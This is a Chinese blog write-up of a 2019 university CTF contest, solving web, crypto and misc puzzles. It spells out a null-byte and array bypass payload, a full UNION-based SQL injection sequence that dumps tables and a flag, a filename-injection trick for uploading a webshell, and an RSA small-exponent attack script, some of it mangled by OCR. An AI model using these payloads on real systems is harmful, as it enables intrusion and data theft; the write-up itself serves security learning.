CUMT-CTF第二次双月赛Writeup

原创

 Gard3nia
 ● 于 2019-03-02 20:00:49 发布
 ● 776 ☆ 收藏 1

 分类专栏:
 Writeup 文章标签: CTF Web Crypto

 版权声明:
 本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

 本文链接:
 https://blog.csdn.net/Gar_denia/article/details/88080469

版权



Writeup 专栏收录该内容

9篇文章 0 订阅 订阅专栏

前言

毕竟是萌新,能有校赛打已经很开心了,感谢Source大佬的带飞,下面放上本次双月赛的部分题解;

正文

Web

签到题

是个easy的绕过,给出源码:



考察 ereg() 和 md5() 的绕过姿势,00截断绕过 ereg,上传数组绕过 md5,即可得到flag如下:



payload: http://202.119.201.199:32790/index.php?0ver=5%00a&0ver1[]=a&0ver2[]=b

SimpleUpload

是个前端验证,只允许上传图片,不允许上传php为后缀的文件,只需要bp截取改后缀名即可;

Target Pinoy Space Bayester Sequencer Decoder Compare Datadar Options Alerts 1 2 Ge Cascel < > + Ge Cascel < > + Ge Cascel < > + Bet Factors Hoc Data Tatal	Target: http://tas.cumt.edu.on/20006 🖉
1 × 2 =	Target http://txx.cumt.edu.cn/20006 🖉
Ge Casos <>>>>> Casos <>>>>> Casos <>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>	Target: http://bas.cumt.edu.on/20005 🧭
Revent Re	Response Rew meaders Hex
Date Partnern Meadlern Heat 097 / HTTP/1.1 <	Raw Headers Hex
Nor / HTTP/1.1	
<pre>sec-Agenci Hoilla/k.0 (Windows NT 10.0.) Win64) x641 (vi64.0.) Gecko/20100101 () ivefx:(test/html,application/xhtml:wml,application/xml;q=0.5,*/*;q=0.0 copy:Language: in-C3, htp://winco., th=TWICq=0.5, en-U3;q=0.3, en:q=0.2 copy:Language: In-C3, htp://winco., th=TWICq=0.5 copy:Language: In-C3, htp://winco., th=TWICq=</pre>	<pre>clickt'CTF2019!!! clickt'CTF2019!!! clic</pre>

小型线上赌场

一开始没有思路,毕竟是萌新还没有了解到CTF的很多姿势,请教新城瑞雪大佬得知是vim文件泄露,在vim编辑的时候没有正常 退出,系统就会自动生成一个swp文件用来日后的恢复;直接down下来,vim打开得源码:



看懂源码意思即可,生成 2~50 的随机数 rand, money 为 \$invest*\$rand;如果 \$money==\$guess 就回显flag,即 invest*倍数 ==guess 即可,那我们可以直接直接bp爆破,猜一个 guess,固定 invest 和 guess 的值,多次爆破,如果次数达到一定的上限 一定会出现猜对倍数的情况,这样的话就会输出flag;

bp爆破设置:

GET /index.php?invest=200&guess=800 HTTP/1.1
Host: 202.119.201.199:32787
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
<pre>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</pre>
Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://202.119.201.199:32787/index.php
Connection: keep-alive
Upgrade-Insecure-Requests: 1

设置payload类型为 null payloads, 上限次数设置大一点为2000;

Payload Sets You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set.	id each payload type can be customized in different ways.
Payload set 1 Payload count 2,000	
Payload type: Mult payloads 💌 Request count 0	
Payload Options [Null payloads]	
This payled type generates payleads whose value is an empty string. With no paylead markers configured, this can be used to repeatedly issue the base request unmodified.	
Generate 2000 payloads	
Continue indefinitely	

随便设置一下options即可start;

结果:

升序排列length即可发现不匹配的特殊项,发现flag;

Results	Target Positions Payloa	ds Options	_				
Filter: Show	ving all items						
Request	Payload	Status	Error	Timeout	Length 🔺	Comment	
58	null	200			905		
106	null	200			905		
124	null	200			905		
206	null	200			905		
216	null	200			905		
224	null	200			905		
252	null	200			905		
283	null	200			905		
304	null	200			905		
329	null	200			905		
344	null	200			905		
494	null	200			905		

 Raw
 Parame
 Headers
 Hex

 GET / index.php?invest=2004gueas=800 HTTP/1.1

 Host: 202.119.201.199:32787

 User=Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0

 Accept: text/html,application/xhml+xml,application/xml;q=0.9,*/*;q=0.8

 Accept-Language: sh-CN,sh:q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

 Accept-Encoding: grip, deflate

 Referen: http://202.119.201.199:32787/index.php

 Connection: close

 Upgrade-Insecure-Requests: 1



SimpleSQLi

- 1. 首先输入 ?id=1%27 报错;
- 2. 接着注释掉后面的引号 ?id=1%27%23,回显正常,说明猜测成功存在注入点;



- 3. 接下来就是用order by去猜列数, ?id=1%27%20order%20by%203%23 回显正常应该是三列没错;
- 4. 下面需要用union select去回显某一列的东西,构造 ?id=-1%27%20union%20select%201,2,3%23; 这里需要第一句话为空才 能显示后面一句话的内容,选择id=-1,就可以回显2和3,后面就可以利用这两列回显想要的东西;



5. 爆库名: ?id=-1%27%20union%20select%201,2,database()%20%23 为 security



6. 爆表名,此处使用mysql里面自带的information_schema表; id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_sch ema=database()%23 发现flag表信息;



7. 爆列名: id=-

1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_n ame=%27flagishere%27%23 有d和flag两列;

CUMTCTF'2019 Simple SQL Injection



8. 爆值: ?id=-1%27%20union%20select%201,2,group_concat(Id,0x3a,flag)%20from%20flagishere%23



文件管理系统

先选择文件进行上传, filename为 ', extension='', filename='x.jpg.jpg;



Rename file, 注入后文件系统中文件名为 x1.jpg.jpg

old filename(exclude extension):	
',extension='',filename='x.jpg.jpg	
new filename(exclude extension):	
xLjpg	
rename	



上传真的包含webshell的文件;



flag在根目录;

ar/uni/html/unload/			•	Re
ant, many meaning agree and	Filallama	Time	Size	p
Var	2333 ing ing	2019-01-27 06:43:49	26	TU
B-🚞 www	snow, php	2019-01-27 06:59:11	19	EW
🖻 🧰 html	BXS. tpg	2019-01-27 05:06:40	100388	TW
🛅 upload	snow2.php\0.png	2019-01-27 04:15:31	19	TW
	open.ipg	2019-01-27 05:16:43	100418	IW
	at.ipg.ipg	2019-01-27 07:15:41	30	IN
	1.jpg	2019-01-27 05:46:53	865042	TW
	0.jpg.jpg	2019-01-27 04:43:54	8344	EM.
	snow2.php::\$aasaasaasaasaasaasaasaasaasaasaasaasaas	2019-01-27 04:33:07	19	IN
	3.php\$00.png	2019-01-27 03:39:01	30	TW
	snow2.php#.png	2019-01-27 04:21:53	19	rw
	miaomiao.jpg	2019-01-27 06:11:23	27	IN
	shell.php	2019-01-27 04:07:07	30	EW.
	b5677173fbb5.jpg	2019-01-27 06:43:55	27624	TW
	shell2.jpg.jpg	2019-01-27 04:59:41	8344	IW
	djy.jpg.jpg	2019-01-27 06:40:58	21182	IN
	snow.jpg.jpg	2019-01-27 06:57:07	19	EW
	sl.php	2019-01-27 07:18:21	30	IN.
	1 (2).txt	2019-01-27 03:48:43	30	IN
	455.png	2019-01-27 03:41:21	30	TW
	snow2.php\\n.png	2019-01-27 03:44:56	19	rw
	WEXE	2019-01-27 06:50:39	19	IW
	snow2.php2.png	2019-01-27 04:15:00	19	IN
	shell1.jpg.jpg	2019-01-27 04:48:27	8344	IW
	u=1272679229,680789714&fm=26&gp=0.jpg	2019-01-27 03:41:40	8344	rw
	snow2.php\0\0.png	2019-01-27 03:54:42	19	IN
	', extension=, filename='shell.jpg.jpg	2019-01-27 04:05:35	0344	TW

😂 202.119.201.199:x. 🗈 202.119.201.199:x.	0.00
Get /flag_404/flag	Save
complete the file contents	Hatchet @2015.03

参考链接: leavesongs的博客

Crypto

现代密码签到

一度以为是hash,因为base64decode出来是Salted_开头,真的是...被出题人虐到鼻青脸肿,和队里大佬讨论很久也不知道 怎么办,还一度以为是AES,hint出来了是DES,也不知道密钥该如何解密...没想带直接找一个在线网站直接解密既可以了...密



U2FsdGVkX18968C+7acWUzWIYyuQd2MFLMh0HnGGnMimYlemknPnfg=	在此输入密明	U2FsdGVkX1+p43JX7+KrdUBXg/UTw+ejas2dbmiVanvVSxOuhSdp3JLc+				
	密码是可选项,也就是可以不 填。	SeeSour http://swinkik/fv/L2THW1XCyIB3U+pxCxbmnpQ2RB2ZTU=U2FsdGVkX1+ p43JX7+KrdUBXg/UTw+ejas2dbml/VanvVSxOuhSdp3JLc+7G4zK5p http://swinkik/fv/L2THW1XCyIB3U+pxCxbmnpQ2RB2ZTU=				
	〈 新聞 加思 >					

在线解密一次以后再解一次即可得到flag:

cumtett(在此输入密明	U2FsdGVkX18968C+7acWUzWtYyuQd2MFLMh0HnGGnMlmYlemknPnfg=
	密码是可选项,也就是可以不 填。	
	< three struct	

这就是双重DES...

古典密码签到

也是解的很暴躁的一题,基本就是大家一开始都是base32出来就不知道那是什么玩意了...

^pho^oav` tZnj` t777cccx			
[Finished in 0 2-1			
[Finished in 0.35]			

翻看各种大佬的博客总结古典密码都没有这种奇怪的符号...直到队友解出来的那一刻我都是懵逼的(SourceNB),放上解题脚本:



在ASCII码内凯撒爆破即可:

^pho^oav`
tZnj`
tZZZcccx
cumtctf{e<0x0f>y_soe<0x0f>y___hhh}
[Finished in 0.2s]

慢着...这16进制是什么鬼...大胆猜测是easy_soeasy__hhh,填入果然没错...

总的来说做这两题的心情就是可以狂扁出题人小朋友了...



easyrsa

e=5

这题终于不是前面两题那么让人流泪了...,n和c里只出现了12个字符猜测是12进制;

n=36004b9A985A624479A4891b16130722A5A7453989bA61737A226368504A5689381236451796A445824b5A516b176b40135935b0b89990 46154359b0560537100289b9795129505b461542A4897A56561529A705135AA772507bb3172b03b3425A99224b68b45b801459b29A070bAb 9408761b4A70b905308772472934486924bA17013A2A801041A05178b0488AA5

c=411A016A671768793b5AAbA4A043001A468b8A9A6122290461266393181b021812b6AAbAA1b57161bAA300321174154862338b00982496 26A93116b34752540987309A08520bb6780804b5679144173Ab7301b49322587504A75A7A2445928A07A650bb6076bA3412b1375205336b4 3A11A1510A22893b937065

给出以下信息, e=5, 猜测是低指数攻击, 上解题脚本:

```
import gmpy2
def twl_to_dec(twl):
ans=0
l=len(twl)
for i in range(1):
 if twl[i]=='A':
  temp=10
 elif twl[i]=='b':
 temp=11
 temp=int(twl[i],10)
 ans+=temp*pow(12,l-i-1)
return ans
def small_msg(c,n,e):
i=0
while 1:
   if(gmpy2.iroot(c+i*n, e)[1] == 1):
      x = gmpy2.iroot(c+i*n, e)[0]
      print hex(x)[2:].decode('hex')
      break
 i += 1
def main():
9046154359b0560537100289b9795129505b461542A4897A56561529A705135AA772507bb3172b03b3425A99224b68b45b801459b29A070b
Ab9408761b4A70b905308772472934486924bA17013A2A801041A05178b0488AA5"
9626A93116b34752540987309A08520bb6780804b5679144173Ab7301b49322587504A75A7A2445928A07A650bb6076bA3412b1375205336
b43A11A1510A22893b937065"
e=5
n=twl_to_dec(n)
c=twl_to_dec(c)
small_msg(c,n,e)
if ___name___ == '___main___':
main()
```

12进制转化为10进制以后直接进行小公钥指数攻击即可,得到flag:



**友情提示: **自己写的进制转换虽然丑, but肯定比网上在线转换靠谱(微笑.jpg)

Misc

Misc签到

得到盲文图片如下,直接对应盲文表解出flag内容为: BAIND,将A换为1,加上flag提交即可;



BXS图标真好看

打开是个txt文件,查看内容发现 IDHR 关键字,猜测是png图片,直接改掉后缀得到一张图片;



发现flag相关内容,猜测是凯撒移位,但发现前面有8位,果断推翻猜想,继续猜测是栅栏密码,果然得到flag;



base全家桶了解一下

nctf遇到过差不多的题,没什么难度;

解密脚本:



GY3DMQZWGE3DON2CGU3TMNJWIM3DGMZQGZCDMNJVIY3TIMZQGMYDKRRWGM3TKNSEG42DMMZXGQ3DMN2E 666C61677B57656C63306D655F7430305F63756D746374667D flag{Welc0me_t00_cumtctf} [Finished in 0.3s]

起床改error啦

唯一做到的Misc...队友Source太给力...拿到手是个png图片



丢进十六进制编辑器,发现猫腻,有zip文件头和flag信息;

00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	0F	
FC	21	0A	CF	19	27	84	78	42	14	02	02	10	84	03	CA	ü!.Ï.'"xB".Ê
5F	E8	84	28	80	78	43	BB	84	21	55	84	FO	52	F9	80	_è"(€xC»"!U"ðRù.
42	29	BE	42	70	42	1	42	F9	29	02	10	AA	C0	52	0F	B)¾BpB.Bù)ªÀR.
28	42	25	F4	E1	D8	Α7	ΒE	C1	08	5B	9E	37	3C	3B	C2	(B%ôáØ§ŽÁ.[ž7<;Â
10	85	55	FF	D9	50	4B	03	04	14	00	00	00	08	00	3B	UÿÙPK
A1	31	4E	91	83	8D	E5	81	08	00	00	00	28	00	00	80	ilN`f.å(
00	00	00	66	6C	61	67	2E	64	6F	63	ED	9A	7D	4C	56	flag.docíš}LV
D7	1D	C7	7F	E7	BE	3C	DC	07	10	10	14	11	ED	78	D4	×.Ç.ç <mark>`</mark> ÜíxÔ
Α7	88	14	E9	05	Fl	A 5	BE	4C	14	9C	14	DC	03	F2	50	§^.é.n.%L.œ.Ü.òP
91	Α2	F2	8E	0F	13	90	02	CE	5A	D7	8E	6E	B5	DA	34	`¢òŽ\ÎZ׎nµÚ4
9D	98	65	AB	5D	4C	A7	09	4B	9A	D8	36	2C	ED	D2	EC	.~e≪]L§.KšØ6,íÒì
AF	DA	6D	D9	4B	B2	4D	97	AC	CB	9A	6D	09	4D	E6	5F	_ÚmÙK≗M—⊐Ëšm.Mæ_
5B	DB	67	35	СВ	62	5A	ЗD	FB	9E	73	CF	C5	0B	88	7B	[Ûg5ËbZ=ûžsÏÅ.^{
80	D6	49	CA	EF	C9	87	73	EE	В9	E7	DE	FB	3B	E7	F7	€ÖIÊïɇsî¹çÞû;ç÷
3B	EF	5C	В9	3C	7F	E4	C2	8F	33	DF	Α7	71	F2	65	D2	;ï∖¹<.äÂ.3ß§qòeÒ
E9	26	F7	93	CF	93	C6	14	52	52	88	34	75	7D	93	73	é&÷"Ï"Æ.RR^4u}"s
EE	26	F3	39	99	55	72	03	98	CA	86	06	42	9F	8A	C7	î&ó9™Ur.~ʆ.BŸŠÇ
21	Β4	80	1F	C4	83	04	90	08	E6	81	24	90	EC	B 8	00	!′€.Äfæ.\$.ì,.
CD	07	Α9	EA	99	39	99	7D	52	4D	87	Fl	EΒ	Α7	00	ED	Í.©ê™9™}RM‡ñë§.í
A 0	6E	84	BD	74	8C	Α6	22	E9	64	8E	B6	79	Dl	17	F8	n"¥tŒ¦"éd޶yÑ.ø
FC	G٨	40	RF	۳4	DC'	FF	87	37	FF	CO	FS.	C4	D3	FR	5 8	α δτι ε επικά 73 λ 8 Χ Αά

扒下来另存为zip,解压得到flag.doc,但是里面没有flag;

恭喜你找到了这里,flag 近在咫尺,加油想 想吧~

Ps: word 可是个神奇的东西,可以隐藏很 多东西呢

提示直接告诉是doc隐写,那就显示隐藏文字即可,得到flag;

恭喜你找到了这里, flag 近在咫尺, 加油想 想吧~

Ps: word 可是个神奇的东西,可以隐藏很 多东西呢

flag{_____}